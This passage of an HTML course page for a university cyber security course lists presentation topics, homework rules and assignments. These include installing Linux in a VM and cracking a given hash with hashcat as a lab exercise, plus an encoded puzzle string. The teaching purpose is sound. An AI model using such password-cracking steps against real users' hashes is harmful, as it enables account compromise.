&lt;h3 id=&quot;5-identity-authentication-and-hashes-2026-11-18-w47-wed-1740&quot;&gt;5. Identity, authentication and hashes -- 2026-11-18 w47 Wed  1740 &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/cyber-security/#5-identity-authentication-and-hashes-2026-11-18-w47-wed-1740&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/cyber-security/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Linus: Evaluating Multi-Factor Authentication: How it works and how it might break.&lt;/li&gt;
&lt;li&gt;Syed: Passkeys &amp;amp; FIDO2: The Death of the Traditional Password&lt;/li&gt;
&lt;li&gt;Juuso: Hashing in Cybersecurity&lt;/li&gt;
&lt;li&gt;Jussi-Pekka: Authentication &amp;amp; Identity: How it works in a global company?&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;6-security-maturity-2026-11-25-w48-wed-1740&quot;&gt;6. Security maturity -- 2026-11-25 w48 Wed  1740 &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/cyber-security/#6-security-maturity-2026-11-25-w48-wed-1740&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/cyber-security/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;(Spring course enrollment)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Anna: The Evolution of Web Authentication.&lt;/li&gt;
&lt;li&gt;Agha: From Hacked Fridges to Secure Smart Homes: An IoT Maturity Perspective&lt;/li&gt;
&lt;li&gt;Anh: Security maturity model&lt;/li&gt;
&lt;li&gt;Satu: Understanding Incident Response Maturity&lt;/li&gt;
&lt;li&gt;Hadi: &lt;a href=&quot;https://github.com/bhadi73/brahim-hadi-dev/blob/c0894ea0a777598412016feb6faa2876057fa924/salesforce-service-cloud-security-maturity_Hadi.pptx&quot;&gt;Brahim Hadi: Security &amp;amp; Maturity in Salesforce Service Cloud&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;7-new-developments-2026-12-02-w49-wed-1740&quot;&gt;7. New developments -- 2026-12-02 w49 Wed  1740 &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/cyber-security/#7-new-developments-2026-12-02-w49-wed-1740&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/cyber-security/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Sherif: From 5G-Advanced to 6G: Cybersecurity Challenges for Enterprise Networks&lt;/li&gt;
&lt;li&gt;Harri: &lt;a href=&quot;https://github.com/harrikukkonen/cybersecstudy/blob/main/presentation.md&quot;&gt;Deepfake AI in cybersecurity&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Edmund: From quality assurance to security assurance&lt;/li&gt;
&lt;li&gt;Minna: From Reactive Security to Security by Design&lt;/li&gt;
&lt;li&gt;Max: Mindcraft - Beat Social Media-Based Influence Ops.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;8-recap-how-to-keep-up-2026-12-09-w50-wed-1740&quot;&gt;8. Recap &amp;amp; how to keep up -- 2026-12-09 w50 Wed  1740 &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/cyber-security/#8-recap-how-to-keep-up-2026-12-09-w50-wed-1740&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/cyber-security/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Matti&lt;/li&gt;
&lt;li&gt;Tommi: Surviving the Vulnerability Flood&lt;/li&gt;
&lt;li&gt;Kelechukwu&lt;/li&gt;
&lt;li&gt;Dmitry: Hello, Friend: A Security Mindset Through Mr. Robot&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Wednesdays 17:40 - 20:30, Zoom video conference. The themes will be updated during the course.&lt;/p&gt;
&lt;h2 id=&quot;use-of-feedback-from-previous-courses&quot;&gt;Use of Feedback from Previous Courses &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/cyber-security/#use-of-feedback-from-previous-courses&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/cyber-security/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Open feedback and my analyses of it is in the &lt;a href=&quot;https://terokarvinen.com/cyber-security/#comments&quot;&gt;comments&lt;/a&gt; on this page you&#39;re reading. Last instance, &lt;a href=&quot;https://terokarvinen.com/2025/cyber-security-2025-late-autumn-icb705as3ye-1/&quot;&gt;Cyber Security - 2025 late autumn - 2025 late autumn ICB705AS3YE-1 &lt;/a&gt;, received 4.5 /5 excellent feedback, with all but one participant giving feedback.&lt;/p&gt;
&lt;p&gt;Feedback from other security courses have been used when creating &quot;Cyber Security&quot; course. This includes feedback from &quot;&lt;a href=&quot;https://terokarvinen.com/tunkeutumistestaus/&quot;&gt;Tunkeutumistestaus&lt;/a&gt;&quot; (Penetration Testing, has reached 5.0/5), &quot;&lt;a href=&quot;https://terokarvinen.com/trust-to-blockchain/&quot;&gt;ICT Security Basics - from Trust to Blockchain&lt;/a&gt;&quot; (has reached 4.9/5), &quot;&lt;a href=&quot;https://terokarvinen.com/information-security/&quot;&gt;Information Security&lt;/a&gt;&quot; (has reached 4.8/5) and others. Based on feedback, an attempt is made to: discuss in the class; link theory to practical exercises (that are not highly demanding technically); have homework with both varied reading and applied tasks. Both numeric and free form feedback for these courses is available on https://terokarvinen.com/&lt;/p&gt;
&lt;h2 id=&quot;other-infosec-courses&quot;&gt;Other Infosec Courses &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/cyber-security/#other-infosec-courses&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/cyber-security/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Emphasis of this course, Cyber Security, is to give a bird&#39;s eye, management view to information security.&lt;/p&gt;
&lt;p&gt;This course gives you grand overview of cyber security and some practice with tools implementing these principles. Even though you&#39;re expected to be able to install and configure programs and troubleshoot some errors, this is not my most technical course.&lt;/p&gt;
&lt;p&gt;For demanding technical, non-masters level offensive courses, you should consider other courses such as&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/tunkeutumistestaus/&quot;&gt;Tunkeutumistestaus (Penetration testing)&lt;/a&gt; (Currently in Finnish only)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/application-hacking/&quot;&gt;Sovellusten hakkerointi ja haavoittuvuudet (Application hacking and vulnerabilities)&lt;/a&gt; (*Application hacking is sometimes in English, too)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/network-attacks-and-reconnaissance/&quot;&gt;Verkkoon tunkeutuminen ja tiedustelu (Network attacks in reconnaissance)&lt;/a&gt;. (Currently in Finnish only)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;homework&quot;&gt;Homework &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/cyber-security/#homework&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/cyber-security/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Homework is due 24 hours before next class starts. Return a link to Laksu and evaluate two. Link to Laksu is in Moodle.&lt;/p&gt;
&lt;p&gt;Homeworks are done with a computer and reported at the same time. If some task does not require performing tests with a computer, it&#39;s specied writing in the subtask. Computer tests must be done, not imagined.&lt;/p&gt;
&lt;p&gt;Each homework is returned&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;24 h before start of next lecture&lt;/li&gt;
&lt;li&gt;you can publish your homework report in any website you like&lt;/li&gt;
&lt;li&gt;return a link to Laksu&lt;/li&gt;
&lt;li&gt;cross-evaluate two other homeworks&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To save everyone&#39;s time, I will remove those from the course who don&#39;t return homework.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/2023/create-a-web-page-using-github/&quot;&gt;Github is a convenient place to publish your reports&lt;/a&gt;, others are Gitlab and your own homepage. I highly recommend publishing your work. But if you don&#39;t dare or want to publish, you can use a pseudonym or alias. Or in the extreme case, put your web page behind a password (e.g. in Wordpress.com, same password for all reports), and share this password with the whole class. I recomend publishing.&lt;/p&gt;
&lt;p&gt;All sources must be refered to: this task page, classes, reports from your classmates, classmate presentations, man pages, the article you found...&lt;/p&gt;
&lt;p&gt;Returned link must open the report directly. For example, return link to your &quot;h1-helsec.md&quot;, not the front page of your website. Web page must directly open in web browser, so it must be HTML. (Github will automatically convert your Markdown to HTML). Other formats are not accepted (no docx, no pdf, no odx, no xlsx...).&lt;/p&gt;
&lt;p&gt;AI and large language models (LLM): You can ask AI or LLM a question and use the answer as facts for your own answer, written in your own words. AI must be marked as a reference, with details such as prompt (and for advanced users system prompts, temperature, jailbreaks...). LLMs tend to hallucinate, so you should check answers from more reliable sources. It&#39;s not allowed to generate text with AI or similar technologies. For example, it&#39;s not allowed to generate essay answers or summaries with AI, LLM or similar technologies as someone will have to read it.&lt;/p&gt;
&lt;p&gt;The homeworks are official after they are given in the class. Don&#39;t start them before, because they might change. I will of course give homeworks based on what we actually talked about.&lt;/p&gt;
&lt;h3 id=&quot;h0-hello&quot;&gt;h0 Hello &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/cyber-security/#h0-hello&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/cyber-security/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Voluntary. This exercise is the first, easy step towards version control systems. Even though you&#39;re just clicking buttons on the website, it uses world leading tool git in the background. Git even uses a tree of hashes of blocks, just like Bitcoin.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;a) Voluntary. Create a web page using Github. Add a heading, some paragraphs and some code style. Return it to Laksu, and cross evaluate two.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Tips&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Read this first: Karvinen 2023: &lt;a href=&quot;https://terokarvinen.com/2023/create-a-web-page-using-github/&quot;&gt;Create a Web Page Using Github&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Write the page in Markdown. Add headings and paragraphs.&lt;/li&gt;
&lt;li&gt;Add some code style.&lt;/li&gt;
&lt;li&gt;Browse to the page where you can see your new page normally (headings in bigger text than paragraphs). The correct link to return is shown in your browsers address bar.&lt;/li&gt;
&lt;li&gt;Remember to use md suffix, so that the website knows it&#39;s Markdown. E.g. &quot;tero.md&quot;. If you page file name has multiple words, use kebab case: separate-words-with-dashes.md.&lt;/li&gt;
&lt;li&gt;Normally, the cross evaluation has free form feedback: good, bad, ideas for improvement, tips... But for this h0, there is not much to comment and one sentence is enough. If you can see a page with paragraph and heading, it&#39;s a five. (For the rest of the course, in feedback for actual homework (h1, h2...), your classmates will surely appreciate longer and insightful feedback).&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;h1-cyberscience&quot;&gt;h1 CyberScience &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/cyber-security/#h1-cyberscience&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/cyber-security/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Science wants to be free! And you can have it on the Internet.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Busy? Just read articles that are the real deal, and skip the mundane. Could someone do me a literature review =&amp;gt; review article.&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;a) Science hunt. Find a review article related to the themes in the course. Detail your process to find and choose the article. For advise, see Karvinen 2025: &lt;a href=&quot;https://terokarvinen.com/review-article/&quot;&gt;Start Your Research with a Review Article&lt;/a&gt;. (This task does not require technical tests on a computer)
&lt;ul&gt;
&lt;li&gt;The article should be
&lt;ul&gt;
&lt;li&gt;Review article (fi: katsausartikkeli)&lt;/li&gt;
&lt;li&gt;Published in a reputable peer-reviewed academic journal, with JUFO rating 1, 2 or 3.&lt;/li&gt;
&lt;li&gt;Preferably fresh, &amp;lt;2 years&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Some search terms for Google Scholar to get you started (you can also use others). &quot;intitle:review&quot; and
&lt;ul&gt;
&lt;li&gt;threat modeling&lt;/li&gt;
&lt;li&gt;cloud security&lt;/li&gt;
&lt;li&gt;penetration testing&lt;/li&gt;
&lt;li&gt;red teaming&lt;/li&gt;
&lt;li&gt;social engineering&lt;/li&gt;
&lt;li&gt;radio equipment directive&lt;/li&gt;
&lt;li&gt;you can also think about your areas of intrest
&lt;ul&gt;
&lt;li&gt;work&lt;/li&gt;
&lt;li&gt;hacker hobbies&lt;/li&gt;
&lt;li&gt;future thesis&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;b) Review the review. Read the article and create a brief summary around these questions. Use bullet list format. (This task does not require technical tests on a computer)
&lt;ul&gt;
&lt;li&gt;What are the key areas being researched?&lt;/li&gt;
&lt;li&gt;What&#39;s widely agreed upon?&lt;/li&gt;
&lt;li&gt;What are the open questions?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;c) Threat modeling quickrun. Create two risks and decide what to do with them. Imagine the details. Be brief, but specific. (This task does not require technical tests on a computer)
&lt;ul&gt;
&lt;li&gt;Company&lt;/li&gt;
&lt;li&gt;Crown jewels - data, business continuity, reputation, money.&lt;/li&gt;
&lt;li&gt;Bad guys - What do they want? How are they going to get it? Why us? (COI - Capability, Opportunity, Intent)&lt;/li&gt;
&lt;li&gt;List risks (only 2 example risks here). Likelyhood x impact = estimated value.
&lt;ul&gt;
&lt;li&gt;Yes, euros please. And percents. Ballpark, but numbers required.&lt;/li&gt;
&lt;li&gt;Take biggest risk&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;What shall we do with that one biggest risk (META - mitigate, eliminate, transfer, accept)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;d) Voluntary bonus: Create an alert that emails you interesting articles. Good for your future thesis. Start with a wide net, then reduce it after a couple of days; and reduce it more after a week. You want to be happy to get email of a new article.&lt;/li&gt;
&lt;li&gt;e) Voluntary bonus: Install Linux on a virtual machine. Debian or Kali. (Everyone will do this later on the class.)&lt;/li&gt;
&lt;li&gt;f) Voluntary bonus, a technical puzzle.
&lt;ul&gt;
&lt;li&gt;==gCh8mclRFIs8GbsVGS&lt;/li&gt;
&lt;li&gt;Can you do it without AI? This task is trivial for AI, and copy-pasting it to an LLM is not interesting.&lt;/li&gt;
&lt;li&gt;This task requires a computer and some practical command line knowledge. It&#39;s not meant to be solved with pen and paper.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;Wrong way to save time (meme format): Buys a gym card. [picture of non-athletic person] Does not go to the gym.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;So read the article yourself, don&#39;t let AI steal your learning.&lt;/em&gt;&lt;/p&gt;
&lt;h3 id=&quot;h2-scene&quot;&gt;h2 Scene &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/cyber-security/#h2-scene&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/cyber-security/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Cyber moves fast. Here, you&#39;ll start following the scene.&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Read/watch/listen and summarize (These subtasks a, b and c do not require tests with a computer. Some bullets per article is enough for your summary, feel free to write more if you like. Add a bullet for your own idea or question.)
&lt;ul&gt;
&lt;li&gt;a) Podcast. Listen and summarize one episode of one the following (Note: yes, just one, single episode out of all of these. More is a voluntary bonus task.)
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://darknetdiaries.com/&quot;&gt;Darknet Diaries&lt;/a&gt; podcast, or&lt;/li&gt;
&lt;li&gt;Herrasmieshakkerit podcast (Podcast is in Finnish, but your summary must be in English), or&lt;/li&gt;
&lt;li&gt;Covert Access Team podcast, or&lt;/li&gt;
&lt;li&gt;SANS Stromcast podcast&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;b) Blog. Read one article in one of these blogs (Note: yes, just one, single post out of all of these. More is a voluntary bonus task.)
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.schneier.com/&quot;&gt;Schneier on Security&lt;/a&gt; (author of the book &quot;Applied Cryptography&quot;), &lt;a href=&quot;https://www.schneier.com/feed/&quot;&gt;Atom feed&lt;/a&gt;, or&lt;/li&gt;
&lt;li&gt;Krebs on Security, or&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.kyberturvallisuuskeskus.fi/en&quot;&gt;Traficom - NCSC News&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;Traficom is the Finnish Transport and Communications Agency&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Unit42, or&lt;/li&gt;
&lt;li&gt;Simon Willison (about AI, pick a security focused post)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;c) Science that.
&lt;ul&gt;
&lt;li&gt;Link some theory, model or article you read in h1 CyberScience to a blog post or podcast episode you found here. Can you put a fresh security event in the context of larger understanding?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;d) Download Debian. Download Debian 13-Trixie installation image on the computer you&#39;ll use in the class. (Yes, this task is literally just downloading the ISO. Installing is a voluntary task for now.)
&lt;ul&gt;
&lt;li&gt;Go to Debian.org. On the Other downloads, under heading &quot;Try Debian live before installing&quot;, choose &quot;Live Xfce&quot;. The direct &lt;a href=&quot;https://cdimage.debian.org/debian-cd/current-live/amd64/iso-hybrid/debian-live-13.7.0-amd64-xfce.iso&quot;&gt;link&lt;/a&gt; for &quot;Live Xfce&quot; ISO image will soon become obsolete as new versions are published.&lt;/li&gt;
&lt;li&gt;(Mac users: The linked image is for regular PC&#39;s, also known as amd64. If you have an M1, M2, M3, M4... Mac, it uses arm64 processor architecture, and you need to figure it out yourself. I suggest using UTM.)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;e) Voluntary bonus: Install Debian 13-Trixie Linux on a virtual machine. (Everyone will do this later on the class.)&lt;/li&gt;
&lt;li&gt;f) Voluntary bonus: Install a &lt;em&gt;feed reader&lt;/em&gt; and follow some RSS / Atom feeds. (If time permits, everyone will do a version of this later.)&lt;/li&gt;
&lt;li&gt;g) Voluntary bonus: Read more blog posts and listen to podcasts. Link those news into larger theory framework, citing relevan articles.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Tips&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Darknet Diaries and other podcasts
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://antennapod.org/&quot;&gt;AntennaPod&lt;/a&gt; is convenient Android program for listening podcasts. It&#39;s available in &lt;a href=&quot;https://f-droid.org/en/packages/de.danoeh.antennapod/&quot;&gt;F-Droid&lt;/a&gt; and Google Play. Of course, there are hundreds if not thousands other programs for podcasts, too.&lt;/li&gt;
&lt;li&gt;Pick any episode. Check descriptions, and pick one that&#39;s likely to be suitable here. It&#39;s often good to pick other than the latest or the one on top of the homepage, so we can look at different episodes.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;h3-cyber-lab&quot;&gt;h3 Cyber lab &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/cyber-security/#h3-cyber-lab&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/cyber-security/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;You&#39;ll take the first steps on your own cyber lab.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;For us, the lab allows us to safely try the tools used by attackers. Advanced adversaries build lab environments similar to their targets and test their attack tools in the lab.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Tests required: note that tasks require tests on a computer. For those, you must: write the report while you work; take screenshots; show commands you give and relevant parts of their output; also include problems and their fixes.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;I included a password cracking exercise here as requested on earlier courses, using the actual tool favored by white hat pentesters and criminals alike. We&#39;ll likely have the theory for attacking passwords later. The approach for try first, learn theory later is similar I have used when teaching IoT and embedded systems, as discussed in (voluntary reading) Karvinen &amp;amp; Karvinen 2018 &lt;a href=&quot;https://www.bionicmechanic.com/images/IoT%20Rapid%20Prototyping%20Laboratory%20Setup.pdf&quot;&gt;IoT rapid prototyping laboratory setup&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;x) Read/watch/listen and summarize (This subtasks x does not require tests with a computer. Some bullets per article is enough for your summary, feel free to write more if you like. Add a bullet for your own idea or question. Reading emphasized, no extensive essays needed for this subtask.)
&lt;ul&gt;
&lt;li&gt;Heinonen 2026: &lt;a href=&quot;https://github.com/johannaheinonen/johanna-test-repo/blob/main/module_1.md&quot;&gt;How to Install Linux to Virtualbox?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Karvinen 2020: &lt;a href=&quot;https://terokarvinen.com/2020/command-line-basics-revisited/&quot;&gt;Command Line Basics Revisited&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Karvinen 2022: &lt;a href=&quot;https://terokarvinen.com/2022/cracking-passwords-with-hashcat/&quot;&gt;Cracking Passwords with Hashcat&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;a) Reserve your presentation title in &lt;a href=&quot;https://app.terokarvinen.com&quot;&gt;Laksu&lt;/a&gt;. Use the date reserved for you in the &lt;a href=&quot;https://terokarvinen.com/cyber-security/#agenda&quot;&gt;agenda&lt;/a&gt;. Let the weekly theme inspire your title. If you wish to present on a topic outside of weekly theme, email your topic and reasoning to Tero for consideration. (This subtask does not need reported tests on a computer.)&lt;/li&gt;
&lt;li&gt;b) Linux. Install Linux on a virtual machine. Use Debian 13-Trixie.
&lt;ul&gt;
&lt;li&gt;I recommend VirtualBox, but you can also use other virtualization systems (UTM, virt-manager, VMWare...) if you know them. If you already have a Linux VM, you can create a new one here for the report.&lt;/li&gt;
&lt;li&gt;If you already wrote a proper report for the virtual machine you use in this course, you can just link that.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;c) Crack. Crack the hash 6b1628b016dff46e6fa35684be6acc96 . Install hashcat and follow the steps in the article to crack the example hash. Karvinen 2022: &lt;a href=&quot;https://terokarvinen.com/2022/cracking-passwords-with-hashcat/&quot;&gt;Cracking Passwords with Hashcat&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;d) Voluntary bonus: John the Ripper. Install and test John the Ripper Jumbo, see Karvinen 2023: &lt;a href=&quot;https://terokarvinen.com/2023/crack-file-password-with-john/&quot;&gt;Crack File Password With John&lt;/a&gt;. (We might do this together later)&lt;/li&gt;
&lt;li&gt;e) Voluntary bonus: The other John. Create an encrypted file (other than zip) and crack the hash with John.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Tips:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Present
&lt;ul&gt;
&lt;li&gt;You can see your presentation date in the &lt;a href=&quot;https://terokarvinen.com/cyber-security/#agenda&quot;&gt;agenda&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Your presentation should
&lt;ul&gt;
&lt;li&gt;Fit the course - be about cyber security&lt;/li&gt;
&lt;li&gt;Serve the audience - useful, actionable, entertaining, interesting, provoking discussion&lt;/li&gt;
&lt;li&gt;Use your strenghts - what you do at work, in your hobbies (If you want, also less familiar areas are allowed)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;For longer time slot, email me beforehand.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Install Linux
&lt;ul&gt;
&lt;li&gt;VirtualBox installer is available on &lt;a href=&quot;https://VirtualBox.org&quot;&gt;VirtualBox.org&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Debian 13-Trixie install image. Go to Debian.org. On the Other downloads, under heading &quot;Try Debian live before installing&quot;, choose &quot;Live Xfce&quot;. The direct &lt;a href=&quot;https://cdimage.debian.org/debian-cd/current-live/amd64/iso-hybrid/debian-live-13.7.0-amd64-xfce.iso&quot;&gt;link&lt;/a&gt; for &quot;Live Xfce&quot; ISO image will soon become obsolete as new versions are published.&lt;/li&gt;
&lt;li&gt;Heinonen 2026: &lt;a href=&quot;https://github.com/johannaheinonen/johanna-test-repo/blob/main/module_1.md&quot;&gt;How to Install Linux to Virtualbox?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Virtualization
&lt;ul&gt;
&lt;li&gt;VT-x. Tip to make virtualization much faster.
&lt;ul&gt;
&lt;li&gt;If you have never used virtualization on your computer, you should enable VT-x (aka AMD-X)&lt;/li&gt;
&lt;li&gt;Boot your computer, press a button like F1 or F12 to enter BIOS/UEFI setup&lt;/li&gt;
&lt;li&gt;Browse the menus, find VT-x or similar.&lt;/li&gt;
&lt;li&gt;Enable VT-x&lt;/li&gt;
&lt;li&gt;Take photos with your cell phone, you can&#39;t take screenshots on BIOS/UEFI setup.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Disable unattended installation in VirtualBox, it usually fails.&lt;/li&gt;
&lt;li&gt;OS type: Debian (64-bit)
&lt;ul&gt;
&lt;li&gt;Or similar&lt;/li&gt;
&lt;li&gt;32-bit does not work, and such computers are no longer in use.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;RAM for VM - 2 GB (1 GB is manageable but slow, 4 GB is nice)&lt;/li&gt;
&lt;li&gt;Disk: 40 GB - 60 GB (VirtualBox only uses space on the host system if you actually store files there)&lt;/li&gt;
&lt;li&gt;CPUs: 2+&lt;/li&gt;
&lt;li&gt;Always use good, unique passwords.
&lt;ul&gt;
&lt;li&gt;Never use bad passwords.&lt;/li&gt;
&lt;li&gt;Always practice doing it right. Never practice doing it wrong.&lt;/li&gt;
&lt;li&gt;Most professionals use a password manager to store the passwords.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Got stuck?
&lt;ul&gt;
&lt;li&gt;Computers have problems. If not, everyone would be a hacker.&lt;/li&gt;
&lt;li&gt;Document everything.
&lt;ul&gt;
&lt;li&gt;Yes. Document. Everything. Especially the problems, error messages and how you got there.&lt;/li&gt;
&lt;li&gt;Even Torvalds himself could not help us with just &quot;it had some error somewhere&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Google / Duck. Even &lt;del&gt;clankers&lt;/del&gt; artificial intelligence - but mark clearly what information they &lt;del&gt;hallucinated&lt;/del&gt; provided.&lt;/li&gt;
&lt;li&gt;Try some approaches and document results.&lt;/li&gt;
&lt;li&gt;Write down and screenshot exact error messages. These are great search strings.&lt;/li&gt;
&lt;li&gt;Remind me on the class and we&#39;ll look at it together (I hope - next session is really packed). Technically advanced students usually enjoy troubleshooting together, so it&#39;s entertaining and useful to both those who got stuck and those who did not.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;h4-feed-me&quot;&gt;h4 Feed me &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/cyber-security/#h4-feed-me&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/cyber-security/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Follow the scene. We&#39;ve looked at science earlier, now we turn to blogsphere. Yes, I have Krebs and Schneier here.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;How could the criminals know what services your employer is running? Read the tips. And be careful with port scanner!&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
